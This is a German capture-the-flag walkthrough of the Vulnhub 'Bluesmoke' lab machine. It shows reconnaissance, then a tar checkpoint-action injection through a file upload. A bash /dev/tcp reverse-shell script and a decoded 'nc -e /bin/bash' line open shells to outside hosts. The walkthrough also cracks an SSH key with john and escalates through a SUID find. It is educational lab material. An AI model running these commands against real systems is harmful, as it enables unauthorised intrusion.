Bluesmoke - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
vi
echo
tar
nc
grep
id
ls
msfconsole
ssh
ssh2john
john
base64
strings
file
netstat
telnet
xxd
sed

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit der Identifizierung von Hosts im Netzwerk und der Analyse offener Ports und Dienste.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.124 08:00:27:1a:04:cb PCS Systemtechnik GmbH

Hier führen wir einen ARP-Scan durch, um aktive Hosts im Netzwerk zu entdecken. Das Ergebnis zeigt, dass die IP-Adresse 192.168.2.124 der MAC-Adresse 08:00:27:1a:04:cb zugeordnet ist, was auf ein Gerät von PCS Systemtechnik GmbH hinweist.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.124 bluesmoke.vln

Wir fügen die IP-Adresse und den Hostnamen "bluesmoke.vln" zur /etc/hosts-Datei hinzu, um die Namensauflösung zu erleichtern.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.124 -p- | grep open
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))

Dieser Nmap-Scan zeigt, dass SSH (22) und HTTP (80) offen sind.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.124 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 23:31 CET
Nmap scan report for bluesmoke.vln (192.168.2.124)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 ac:8e:9e:91:49:3f:65:f7:fb:05:07:33:a6:03:88:3f (RSA)
| 256 7f:2c:50:f5:35:9b:e2:2c:96:ff:bc:35:6a:f3:53:d1 (ECDSA)
|_ 256 66:15:b0:cb:3b:ba:12:1a:40:38:eb:7f:8d:ba:a3:a4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Filee Upload to Backup
|_http-server-header: Apache/2.4.38 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
MAC Address: 08:00:27:1A:04:CB (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.11 ms bluesmoke.vln (192.168.2.124)

Dieser detailliertere Nmap-Scan liefert zusätzliche Informationen wie SSH-Hostkeys, den HTTP-Titel ("Filee Upload to Backup") und den Server-Header (Apache/2.4.38 (Debian)). Außerdem wird auf das fehlende HTTPonly-Flag für Cookies hingewiesen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.124
- Nikto v2.5.0

+ Target IP: 192.168.2.124
+ Target Hostname: 192.168.2.124
+ Target Port: 80
+ Start Time: 2024-01-19 23:31:54 (GMT1)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2024-01-19 23:32:10 (GMT1) (16 seconds)

+ 1 host(s) tested

nikto identifiziert verschiedene potenzielle Schwachstellen, darunter fehlende Header für Clickjacking und Content-Type-ptions, das fehlende HTTPonly-Flag für Cookies und die mögliche Offenlegung von Inodes über ETags.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://bluesmoke.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://bluesmoke.vln/index.php (Status: 200) [Size: 570]
http://bluesmoke.vln/uploads (Status: 301) [Size: 316] [--> http://bluesmoke.vln/uploads/]
http://bluesmoke.vln/upload.php (Status: 302) [Size: 101] [--> http://bluesmoke.vln/index.php]
http://bluesmoke.vln/javascript (Status: 301) [Size: 319] [--> http://bluesmoke.vln/javascript/]
http://bluesmoke.vln/backup.jpg (Status: 200) [Size: 20310]

gobuster findet die Dateien index.php und backup.jpg sowie die Verzeichnisse /uploads und /javascript. upload.php leitet auf index.php um.

Initial Access

Nach der Reconnaissance versuchen wir, uns Zugriff auf das System zu verschaffen.

Wir haben einen offenen Webserver mit einer Upload-Funktion entdeckt, die wir näher untersuchen werden.

┌──(root㉿cyber)-[~]
└─# echo '' > --checkpoint=1
┌──(root㉿cyber)-[~]
└─# echo '' > '--checkpoint-action=exec=sh rev.sh'

Wir erstellen zwei Dateien, die für einen "tar bomb"-Angriff benötigt werden. Diese Dateien werden verwendet, um beim Entpacken eines TAR-Archivs einen Befehl auszuführen.

┌──(root㉿cyber)-[~/tarshell]
└─# vi rev.sh
#!/bin/bash

/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.2.199/443 0>&1'

Wir erstellen ein Reverse-Shell-Skript (rev.sh), das eine Verbindung zu unserem lokalen System auf Port 443 herstellt.

┌──(root㉿cyber)-[~/tarshell]
└─# chmod +x rev.sh

Wir machen das Reverse-Shell-Skript ausführbar.

┌──(root㉿cyber)-[~/tarshell]
└─# tar -cf tar_shell.tar ./*

Wir erstellen ein TAR-Archiv (tar_shell.tar), das die erstellten Dateien enthält.

┌──(root㉿cyber)-[~/tarshell]
└─# ll
total 24
-rw-r--r-- 1 root root 1 20. Jan 00:11 '--checkpoint=1'
-rw-r--r-- 1 root root 1 20. Jan 00:11 '--checkpoint-action=exec=sh rev.sh'
-rwxr-xr-x 1 root root 77 20. Jan 00:14 rev.sh
-rw-r--r-- 1 root root 10240 20. Jan 00:17 tar_shell.tar

Wir überprüfen den Inhalt des TAR-Archivs.

http://bluesmoke.vln/index.php

Please upload your TAR / ZIP File. We will check the files
and add it to our backup system.

File is successfully uploaded.
Choose a file... Browse

Die Webseite index.php bietet eine Upload-Funktion für TAR- und ZIP-Dateien.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 443
listening on [any] 443 ...

Wir starten einen Netcat-Listener auf Port 443, um die Reverse Shell zu empfangen.

Privilege Escalation

Nachdem wir eine Reverse Shell erhalten haben (durch Hochladen des TAR-Archivs mit dem "tar bomb"-Exploit) versuchen wir, unsere Privilegien zu erhöhen.

------------------------------------------------------------------------------------------
1 Minute warten...
------------------------------------------------------------------------------------------

connect to [192.168.2.199] from (UNKNWN) [192.168.2.124] 39768
bash: cannot set terminal process group (2327): Inappropriate ioctl for device
bash: no job control in this shell
backupper@Bluesmoke:/var/www/html/uploads$

Wir erhalten eine Reverse Shell als Benutzer "backupper". Die Meldungen "cannot set terminal process group" und "no job control in this shell" deuten darauf hin, dass wir eine eingeschränkte Shell haben.

backupper@Bluesmoke:/var/www/html/uploads$ find / -type f -perm -4000 -ls 2>/dev/null

Wir suchen nach SUID-Binaries, um potenzielle Möglichkeiten zur Privilegieneskalation zu finden.

1050305 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
1046566 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
1050052 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
1046563 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
1050307 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
1049911 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
1046564 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
1046567 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
1184512 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1313270 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
1439190 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device

Die Ausgabe von find zeigt eine Liste von SUID-Binaries. Einige davon (wie z.B. /usr/bin/passwd oder /bin/su) könnten für eine Privilegieneskalation ausgenutzt werden.

backupper@Bluesmoke:/var/www/html/uploads$ grep bash /etc/passwd

Wir suchen nach Benutzern mit einer Bash-Shell.

root:x:0:0:root:/root:/bin/bash
jaap:x:1000:1000:jaap,,,:/home/jaap:/bin/bash
backupper:x:1001:1001:,,,:/home/backupper:/bin/bash
remnie:x:1002:1002:,,,:/home/remnie:/bin/bash

Wir finden die Benutzer "root", "jaap", "backupper" und "remnie" mit einer Bash-Shell.

backupper@Bluesmoke:/var/www/html/uploads$ id

Wir überprüfen die aktuelle Benutzer-ID.

uid=1001(backupper) gid=1001(backupper) groups=1001(backupper),108(crontab)

Wir sind als Benutzer "backupper" angemeldet.

backupper@Bluesmoke:/home$ ls
backupper jaap remnie

Wir überprüfen die vorhandenen Home-Verzeichnisse.

backupper@Bluesmoke:/home$ cd backupper/

Wir wechseln in das Home-Verzeichnis von "backupper".

backupper@Bluesmoke$ ls -la
total 40
drwxr-x 4 backupper backupper 4096 Apr 7 2021 .
drwxr-xr-x 5 root root 4096 Apr 5 2021 ..
-rw-r--r-- 1 backupper backupper 220 Apr 4 2021 .bash_logout
-rw-r--r-- 1 backupper backupper 3526 Apr 4 2021 .bashrc
-rw-r--r-- 1 backupper backupper 79 Apr 7 2021 flag.txt
drwxr-xr-x 3 backupper backupper 4096 Apr 4 2021 .local
-rw-r--r-- 1 backupper backupper 807 Apr 4 2021 .profile
-rw-r--r-- 1 backupper backupper 13 Apr 6 2021 README.txt
-rw-r--r-- 1 backupper backupper 66 Apr 4 2021 .selected_editor
drwx 2 backupper backupper 4096 Apr 5 2021 .ssh

Wir zeigen den Inhalt des Home-Verzeichnisses an. Wir finden eine Datei namens flag.txt.

backupper@Bluesmoke$ cat flag.txt

Wir lesen den Inhalt der Datei flag.txt.

flag1:Ym1NZ0xXVWdMMkpwYmk5aVlYTm9JSGQzZHk1MGFHVjNiM0pzWkM1amIyMGdNVGMzTWpJSwo=
flag1:Ym1NZ0xXVWdMMkpwYmk5aVlYTm9JSGQzZHk1MGFHVjNiM0pzWkM1amIyMGdNVGMzTWpJSwo= backupper@Bluesmoke$ cd .ssh/ backupper@Bluesmoke/.ssh$ ls id_rsa id_rsa.pub known_hosts

Wir wechseln in das .ssh-Verzeichnis und listen den Inhalt auf. Wir finden die Dateien id_rsa, id_rsa.pub und known_hosts.

backupper@Bluesmoke/.ssh$ cat id_rsa

Wir lesen den Inhalt der Datei id_rsa, die den privaten SSH-Schlüssel enthält.

--BEGIN RSA PRIVATE KEY--
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-256-CBC,D6F9E0606D2F234A87743095679A244B

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
--END PENSSH PRIVATE KEY--

Wir haben den verschlüsselten privaten SSH-Schlüssel von Benutzer "backupper" gefunden.

┌──(root㉿cyber)-[~/tarshell]
└─# ssh2john rsa > hash

Wir konvertieren den SSH-Schlüssel mit ssh2john in ein John-the-Ripper-kompatibles Format.

┌──(root㉿cyber)-[~/tarshell]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/PENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
~
samantha1 (id_rsa)
~
1g 0:00:00:00 DNE (2024-01-20 00:25) 100.0g/s 179200p/s 179200c/s 179200C/s angelbaby..eternity
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Wir verwenden John the Ripper, um das Passwort des SSH-Schlüssels zu knacken. Das Passwort ist "samantha1".

┌──(root㉿cyber)-[~/tarshell]
└─# ssh jaap@192.168.2.124 -i id_rsa
Enter passphrase for key 'id_rsa': samantha1

Linux Bluesmoke 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 20 00:34:02 2024 from 192.168.2.199
jaap@Bluesmoke$

Wir verbinden uns mit SSH als Benutzer "jaap" und verwenden den geknackten SSH-Schlüssel. Die Anmeldung ist erfolgreich!

jaap@Bluesmoke$
jaap@Bluesmoke$ ls -la
total 48
drwxr-x 6 jaap jaap 4096 Apr 8 2021 .
drwxr-xr-x 5 root root 4096 Apr 5 2021 ..
-rw- 1 jaap jaap 4 Apr 8 2021 .bash_history
-rw-r--r-- 1 jaap jaap 220 Apr 4 2021 .bash_logout
-rw-r--r-- 1 jaap jaap 3526 Apr 4 2021 .bashrc
drwx 2 jaap root 4096 Apr 6 2021 bin
-rw-r--r-- 1 jaap jaap 81 Apr 7 2021 flag.txt
drwx 3 jaap jaap 4096 Apr 5 2021 .gnupg
drwxr-xr-x 3 jaap jaap 4096 Apr 4 2021 .local
-rw-r--r-- 1 jaap jaap 807 Apr 4 2021 .profile
-rw-r--r-- 1 jaap jaap 2 Apr 6 2021 README.TXT
drwx 2 jaap jaap 4096 Apr 6 2021 .ssh

Wir zeigen den Inhalt des Home-Verzeichnisses an. Wir finden eine Datei namens flag.txt.

jaap@Bluesmoke$ id
uid=1000(jaap) gid=1000(jaap) groups=1000(jaap),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

Wir überprüfen unsere Benutzer-ID. Wir sind als Benutzer "jaap" angemeldet.

jaap@Bluesmoke$ sudo -l

Wir überprüfen, ob der Benutzer "jaap" Sudo-Rechte hat.

-bash: sudo: command not found

Der Befehl sudo ist nicht verfügbar. Dies bedeutet, dass wir keine direkten Sudo-Rechte haben.

jaap@Bluesmoke$ ls -la
total 48
drwxr-x 6 jaap jaap 4096 Apr 8 2021 .
drwxr-xr-x 5 root root 4096 Apr 5 2021 ..
-rw- 1 jaap jaap 4 Apr 8 2021 .bash_history
-rw-r--r-- 1 jaap jaap 220 Apr 4 2021 .bash_logout
-rw-r--r-- 1 jaap jaap 3526 Apr 4 2021 .bashrc
drwx 2 jaap root 4096 Apr 6 2021 bin
-rw-r--r-- 1 jaap jaap 81 Apr 7 2021 flag.txt
drwx 3 jaap jaap 4096 Apr 5 2021 .gnupg
drwxr-xr-x 3 jaap jaap 4096 Apr 4 2021 .local
-rw-r--r-- 1 jaap jaap 807 Apr 4 2021 .profile
-rw-r--r-- 1 jaap jaap 2 Apr 6 2021 README.TXT
drwx 2 jaap jaap 4096 Apr 6 2021 .ssh
jaap@Bluesmoke$ cat flag.txt
flag2 : Ym1NZ0xXVWdMMkpwYmk5aVlYTm9JSGQzZHk1MGFHVjNiM0pzWkM1amIyMGdemMzQ2c9PQo=

Wir lesen die Datei flag.txt. Sie enthält eine Base64-kodierte Zeichenkette.

# jaap@Bluesmoke$ ss -altpn
Das hat super geklappt!
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 100 127.0.0.1:25 0.0.0.0:*
LISTEN 0 128 *:80 *:
LISTEN 0 128 []:22 []:*
LISTEN 0 100 [::1]:25 []:*

Wir überprüfen die laufenden Dienste mit ss -altpn. Wir sehen SSH (22), einen Mailserver (25) und HTTP (80).

jaap@Bluesmoke$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 Bluesmoke.devrandom.lan ESMTP Postfix (Debian/GNU)

Wir verbinden uns mit Telnet zum Mailserver (Port 25) auf dem lokalen System.

jaap@Bluesmoke$ cd bin/
jaap@Bluesmoke/bin$ ls
find startserver.sh

Wir wechseln in das bin-Verzeichnis und listen den Inhalt auf. Wir finden die ausführbaren Dateien find und startserver.sh.

jaap@Bluesmoke/bin$ cat startserver.sh
#!/bin/bash
echo 1 > /tmp/start
exit;

Wir zeigen den Inhalt des Skripts startserver.sh an. Es schreibt eine "1" in die Datei /tmp/start und beendet sich dann.

jaap@Bluesmoke/bin$ ls -la startserver.sh
-rwxr-xr-- 1 jaap jaap 39 Apr 6 2021 startserver.sh
jaap@Bluesmoke/bin$ file find
find: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=77494c30a19019ecb995eeb74250aa57c073c635, stripped

Wir überprüfen den Dateityp von find. Es ist ein SUID-Binary, was bedeutet, dass es mit den Rechten des Besitzers (in diesem Fall "jaap" und "remnie") ausgeführt wird.

jaap@Bluesmoke/bin$ strings find
/lib64/ld-linux-x86-64.so.2
eEgGkKmMpPtTyYzZ0
human-readable
KMGTPEZY
mbuiter.h

YGH!
"+02
A NULL argv[0] was passed through an exec system call.
/.libs/
literal
shell
shell-always
shell-escape
shell-escape-always
c-maybe

Wir verwenden strings, um lesbare Zeichenketten in der ausführbaren Datei find zu finden. Die Ausgabe enthält interessante Begriffe wie "shell", "shell-escape" und "c-maybe", die auf eine mögliche Ausnutzung hindeuten könnten.

jaap@Bluesmoke/bin$ ./find . -exec /bin/sh -p \; -quit
id
uid=1000(jaap) gid=1000(jaap) egid=1002(remnie) groups=1002(remnie),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),1000(jaap)

Wir nutzen die SUID-Berechtigung des find-Befehls, um mit erhöhten Rechten einen Befehl auszuführen. Wir verwenden die Option -exec, um /bin/sh -p auszuführen. Die Option -p sorgt dafür, dass die Shell ihre Privilegien behält.

Die Ausgabe des Befehls id zeigt, dass die effektive Gruppen-ID (egid) jetzt "remnie" ist.

bash-5.0$ ls -l
total 12
drwx 2 jaap root 4096 Apr 6 2021 bin
-rw-r--r-- 1 jaap jaap 81 Apr 7 2021 flag.txt
-rw-r--r-- 1 jaap jaap 2 Apr 6 2021 README.TXT
bash-5.0$ cat flag.txt
flag2 : Ym1NZ0xXVWdMMkpwYmk5aVlYTm9JSGQzZHk1MGFHVjNiM0pzWkM1amIyMGdemMzQ2c9PQo=

bash-5.0$ echo "Ym1NZ0xXVWdMMkpwYmk5aVlYTm9JSGQzZHk1MGFHVjNiM0pzWkM1amIyMGdemMzQ2c9PQo=" -n | base64 -d
bmMgLWUgL2Jpbi9iYXNoIHd3dy50aGV3b3JsZC5jb20gNzc3Cg
bash-5.0$ echo "bmMgLWUgL2Jpbi9iYXNoIHd3dy50aGV3b3JsZC5jb20gNzc3Cg" -n | base64 -d
nc -e /bin/bash www.theworld.com 777

Wir verwenden base64 -d, um die Base64-kodierte Zeichenkette zu dekodieren. Das Ergebnis ist ein Befehl zum Starten einer Reverse Shell.

Proof of Concept: Privilegieneskalation durch Ausnutzung von find und Dekodierung von Base64

Dieser Proof of Concept demonstriert, wie wir mit der SUID-Binary find und der anschließenden Dekodierung einer Base64-Zeichenkette eine Reverse Shell mit den Privilegien des Benutzers "remnie" erhalten.

Flags